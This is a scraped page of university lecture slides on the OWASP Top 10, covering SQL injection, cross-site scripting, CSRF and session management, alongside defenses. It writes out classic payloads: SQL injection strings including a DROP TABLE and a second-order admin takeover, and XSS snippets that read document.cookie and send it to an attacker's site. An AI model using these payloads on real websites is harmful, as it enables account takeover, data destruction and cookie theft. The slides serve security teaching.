Lecture 16. OWASP: The Open Web Application Security Project https://www.owasp.org/index.php/Top_10_2013-Top_10.

Slides:



Advertisements
Similar presentations
Nick Feamster CS 6262 Spring 2009
Advertisements

What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
Hands-on SQL Injection Attack and Defense HI-TEC July 21, 2013.
CS426Fall 2010/Lecture 361 Computer Security CS 426 Lecture 41 StuxNet, Cross Site Scripting & Cross Site Request Forgery.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
EECS 354 Network Security Cross Site Scripting (XSS)
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
Web Application Attacks ECE 4112 Fall 2007 Group 9 Zafeer Khan & Simmon Yau.
 A cookie is a piece of text that a Web server can store on a user's hard disk.  Cookie data is simply name-value pairs stored on your hard disk by.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Secure Software Engineering: Input Vulnerabilities
Workshop 3 Web Application Security Li Weichao March
CSCI 6962: Server-side Design and Programming Course Introduction and Overview.
Copyright© 2002 Avaya Inc. All rights reserved Advanced Cross Site Scripting Evil XSS Anton Rager.
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Origins, Cookies and Security – Oh My! John Kemp, Nokia Mobile Solutions.
Prevent Cross-Site Scripting (XSS) attack
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
Comp2513 Forms and CGI Server Applications Daniel L. Silver, Ph.D.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
Introduction to InfoSec – Recitation 7 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
JavaScript, Fourth Edition
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
CS526Topic 8: Web Security Part 11 Information Security CS 526 Topic 8 Web Security Part 1.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
Chapter 8 Cookies And Security JavaScript, Third Edition.
Cross-Site Attacks James Walden Northern Kentucky University.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
The attacks ● XSS – type 1: non-persistent – type 2: persistent – Advanced: other keywords (, prompt()) or other technologies such as Flash.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
SQL INJECTIONS Presented By: Eloy Viteri. What is SQL Injection An SQL injection attack is executed when a web page allows users to enter text into a.
Web Applications Testing By Jamie Rougvie Supported by.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Web Security SQL Injection, XSS, CSRF, Parameter Tampering, DoS Attacks, Session Hijacking SoftUni Team Technical Trainers Software University
CS526Topic 11: Web Security Part 11 Information Security CS 526 Topic 11 Web Security Part 1.
Lecture 16 Page 1 CS 236 Online Web Security CS 236 On-Line MS Program Networks and Systems Security Peter Reiher.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
Writing secure Flex applications  MXML tags with security restrictions  Disabling viewSourceURL  Remove sensitive information from SWF files  Input.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
Do not try any of the techniques discussed in this presentation on a system you do not own. It is illegal and you will get caught.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
Carrie Estes Collin Donaldson.  Zero day attacks  “zero day”  Web application attacks  Signing up for a class  Hardening the web server  Enhancing.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
Building Secure ColdFusion Applications
Web Application Vulnerabilities
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
World Wide Web policy.
Less Known Web Application Vulnerabilities
Riding Someone Else’s Wave with CSRF
CSC 495/583 Topics of Software Security Intro to Web Security
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
Exploring DOM-Based Cross Site Attacks
Cross-Site Scripting Attack (XSS)
Cross Site Request Forgery (CSRF)
Presentation transcript:

Lecture 16

OWASP: The Open Web Application Security Project

OWASP: The Open Web Application Security Project

OWASP: The Open Web Application Security Project

OWASP: The Open Web Application Security Project

OWASP: The Open Web Application Security Project

1.Injection Flaws a) SQL Injection, XPATH Injection, etc 2.Cross-Site Scripting (XSS) 3.Cross-Site Request Forgery (CSRF) 4.Insecure Direct Object Reference 5.Broken Authentication and Session Management 6.Failure to Restrict URL Access 7.Insecure Cryptographic Storage

A class of code-injection attacks, in which data provided by the user is included in an SQL query in such a way that part of the user’s input is treated as SQL code 8

Two important characteristics: – Injection mechanism – Attack intent 9

Injection through user input Injection through cookies Injection through server variables Second-order injection 10 First-order injection

The application processes the input, causing the attacker’s injected SQL query to execute. Second-order injection The application stores that input for future use (usually in the database), and responds to the request. The attacker submits a second (different) request. To handle the second request, the application retrieves the stored input and processes it, causing the attacker’s injected SQL query to execute. 11

$query = “select * from Users where user_id = ‘”. $_POST[‘user_id’]. “’ and password = ‘”. $_POST[‘password’]. “’” ; User ID : Password : mshb95 mypassword select * from Users where user_id = ‘mshb95’ and password = ‘mypassword’ User ID : Password : mshb95 ‘ OR 1 = 1 select * from Users where user_id = ‘mshb95’ and password = ‘’ OR 1 = 1

$query = “select * from Users where user_id = ‘”. $_POST[‘user_id’]. “’ and password = ‘”. $_POST[‘password’]. “’” ; select * from Users where user_id = ‘’ OR 1 = 1 ; /* ‘and password = ‘*/--’ No need to know the user id User ID : Password : ‘ OR 1 = 1 ; /* */--

$query = “select * from Users where user_id = ‘”. $_POST[‘user_id’]. “’ and password = ‘”. $_POST[‘password’]. “’” ; User ID : Password : ‘ OR 1 = 1 ; DROP TABLE X/* */-- select * from Users where user_id = ‘’ OR 1 = 1 ; DROP TABLE X /* ‘and password = ‘*/--’

15 Inserting text fields that will pass initial validation, but could be used later on. – e.g. Adding a new user on a web form – Username: alice'' or username=''admin – After insert actual user name in database alice’ or username=‘admin – Later, the user updates her password. – The application runs: update users set password='$password' where username='$username' – The query expands to: update users set password='newpw' where username='alice' or username='admin'

Option #1: Validate all inputs, reject evil inputs – Regexps work pretty well on numbers Option #2: Use mysql_real_escape_string – Prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. Option #3: Have length limits on input – Many SQL injection attacks depend on entering long strings

Option #4: Scan query string for undesirable word combinations that indicate SQL statements – INSERT, DROP, etc. – If you see these, can check against SQL syntax to see if they represent a statement or valid user input Option #5: Limit database permissions and segregate users Option #6: Use prepared or parameterized statements instead of concatenating

“Injection Flaw” is a blanket term SQL Injection is most prevalent Other forms: – XPath Injection – Command Injection – LDAP (Lightweight Directory Access Protocol) Injection – DOM (Document Object Model) Injection – JSON (Javascript Object Notation) Injection – Log Spoofing – On and on and on…

Cross-Site Scripting, or XSS (not to be confused with CSS or Cascading Style Sheets), allows attackers to inject client-side script in a web page. The attacker injects script, such as JavaScript, VBScript, ActiveX, HTML, or Flash into an application to try to get access to sensitive information Dynamic websites (using AJAX, Flex, for example) are vulnerable. Static websites are not at risk.

Web pages (HTML) can embed dynamic contents (code) that can be executed on the browser JavaScript – embedded in web pages and executed inside browser VBScript – similar to JavaScript, only for Windows Java applets – small pieces of Java bytecodes that execute in browsers CS52622Fall 2011/Topic 8

… var num1, num2, sum num1 = prompt("Enter first number") num2 = prompt("Enter second number") sum = parseInt(num1) + parseInt(num2) alert("Sum = " + sum) … Browser receives content, displays HTML and executes scripts CS52623Fall 2011/Topic 8

Client-side scripting is powerful and flexible, and can access the following resources – Local files on the client-side host read / write local files – Webpage resources maintained by the browser Cookies Domain Object Model (DOM) objects – steal private information – control what users see – impersonate the user – Many more CS52624Fall 2011/Topic 8

function ajaxResponse() { // check to see if we're done // check to see if we're done if (ajaxRequest.readyState != 4) if (ajaxRequest.readyState != 4) return; return; else else { // check to see if successful { // check to see if successful if (ajaxRequest.status == 200) if (ajaxRequest.status == 200) { document.getElementById("showtime").innerHTML = document.getElementById("showtime").innerHTML = ajaxRequest.responseText; ajaxRequest.responseText; } else else alert("Request failed: " + ajaxRequest.statusText); alert("Request failed: " + ajaxRequest.statusText); }}

Web users visit multiple websites simultaneously A browser serves web pages (which may contain programs) from different web domains – i.e., a browser runs programs provided by mutually untrusted entities – Running code one does not know/trust is dangerous – A browser also maintains resources created/updated by web domains Browser must confine (sandbox) these scripts so that they cannot access arbitrary local resources Browser must have a security policy to manage/protect browser-maintained resources and to provide separation among mutually untrusted scripts CS526Fall 2011/Topic 826

The basic security model enforced in the browser SOP isolates the scripts and resources downloaded from different origins – E.g., evil.org scripts cannot access bank.com resources Use origin as the security principal Origin = domain name + protocol + port – all three must be equal for origin to be considered the same CS52627Fall 2011/Topic 8

Same-origin policy applies to the following accesses: – manipulating browser windows – URLs requested via the XmlHttpRequest XmlHttpRequest is an API that can be used by web browser scripting languages to transfer XML and other text data to and from a web server using HTTP, by establishing an independent and asynchronous communication channel. – used by AJAX – manipulating frames (including inline frames) – manipulating documents (included using the object tag) – manipulating cookies

Poorly enforced on some browsers – Particularly older browsers Limitations if site hosts unrelated pages – Example: Web server often hosts sites for unrelated parties – Same-origin policy, allows script on one page to access properties of document from another Can be bypassed in Cross-Site-Scripting attacks

Reflected XSS Stored XSS (a.k.a. “Persistent XSS”)

This script is named welcome.cgi, and its parameter is “name”. It can be operated this way: GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: And the response would be: Welcome! Hi Joe Hacker Welcome to our system...

welcome.cgi?namewelcome.cgi?name= alert(document.cookie)

 The victim, upon clicking the link, will generate a request to as follows: GET/welcome.cgi?name= alert(document.cookie) HTTP/1.0 Host: And the vulnerable site response would be: Welcome! Hi alert(document.cookie) Welcome to our system

The victim client’s browser would interpret this response as an HTML page containing a piece of Javascript code. This code, when executed, shows a pop-up window showing all client cookies belonging to Of course, a real attack would consist of sending these cookies to the attacker. For this: – The attacker may erect a web site ( – Use a script to receive the cookies. – Instead of popping up a window, send it to his/her own site (

The malicious link would be: window.open( “ And the response page would look like: Welcome! Hi window.open(“ ment.cookie) Welcome to our system...

Attack Server Server Victim User Victim Inject malicious script request content receive malicious script steal valuable data 4 Store bad stuff Download it

JavaScript supplied by the attacker is stored by the website (e.g. in a database) Doesn’t require the victim to supply the JavaScript somehow, just visit the exploited web page More dangerous than Reflected XSS – Has resulted in many XSS worms on high profile sites like MySpace and Twitter

Everyone can post comments, which will be displayed to everyone who view the post Attacker posts a malicious comment that includes scripts window.open(“ ookie=”+document.cookie) Anyone who view the post can have local authentication cookies stolen Web apps will check that posts do not include scripts, but the check sometimes fail.

Users can post HTML on their pages – MySpace.com ensures HTML contains no,, onclick, – However, attacker find out that a way to include Javascript within CSS tags: And can hide “javascript” as “java\nscript” With careful javascript hacking: – Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend. – Samy had millions of friends within 24 hours. More info:

Results from bad implementation of authentication and session management – An attacker steals credentials or hijack a session Could happen – if you are not using https on authenticated pages – Because of XSS flaws we discussed earlier – if an attacker can get your password – Application session timeout is set for a very long time, at a public terminal, user closes browser instead of logging out

Always use https for any authenticated URLs If storing credentials in a database, store them encrypted or hashed Set session timeouts to as low as possible to reduce the risk of exposure to someone who forgets to log out at a public terminal

1.Injection Flaws a) SQL Injection, XPATH Injection, etc 2.Cross-Site Scripting (XSS) 3.Cross-Site Request Forgery (CSRF) 4.Insecure Direct Object Reference 5.Broken Authentication and Session Management 6.Failure to Restrict URL Access 7.Insecure Cryptographic Storage

CSRF is a request made to the server that the server is not able to determain whether the request is coming from the user or an attacker.

Browser Bank Facebook Bill Favorite Forum/blog

Re-authenticate or CAPTCHA for extra- sensitive pages Good frameworks save a unique ID in the session and verify each request